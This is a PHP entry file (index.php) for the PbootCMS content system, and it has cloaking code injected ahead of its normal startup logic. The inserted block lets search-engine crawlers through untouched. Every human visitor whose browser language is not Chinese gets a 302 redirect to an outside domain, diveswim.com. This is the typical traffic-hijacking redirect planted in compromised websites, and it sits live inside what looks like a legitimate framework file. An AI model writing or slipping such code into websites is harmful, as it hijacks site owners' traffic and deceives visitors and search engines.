<?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  用户前端入口文件
 */

$targetUrl = 'https://www.diveswim.com';
// 检测是否为搜索引擎蜘蛛（蜘蛛一律放行，不跳转）
function isSearchEngineSpider() {    
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');    
$spiders = [        
'baiduspider', 'googlebot', '360spider', 'sogou',        
'bingbot', 'yisou', 'bytespider', 'toutiao'    
];    
foreach ($spiders as $spider) {        
if (strpos($ua, $spider) !== false) {            
return true;        
}    
}    
return false;
}
function getBrowserLanguage() {    
$lang = '';    
if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {        
$langList = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);        
$lang = trim($langList[0]);        
$lang = strtok($lang, ';');    
}    
return strtolower($lang);
}
function isChineseLanguage($lang) {    
$chinesePatterns = ['zh', 'zh-hans', 'zh-hant'];    
foreach ($chinesePatterns as $pattern) {        
if (strpos($lang, $pattern) === 0) {            
return true;        
}    
}    
return false;
}
// 蜘蛛放行；非中文浏览器才跳转
if (!isSearchEngineSpider()) {    
$browserLang = getBrowserLanguage();    
if (!isChineseLanguage($browserLang)) {        
header("Location: {$targetUrl}", true, 302);        
exit();
    }
}

// 定义为入口文件
define('IS_INDEX', true);

// 入口文件地址绑定
define('URL_BIND', 'home');

// PHP版本检测
if (PHP_VERSION < '5.4') {
    header('Content-Type:text/html; charset=utf-8');
    exit('您服务器PHP的版本太低，程序要求PHP版本不小于5.4');
}

// 引用内核启动文件
require dirname(__FILE__) . '/core/start.php';
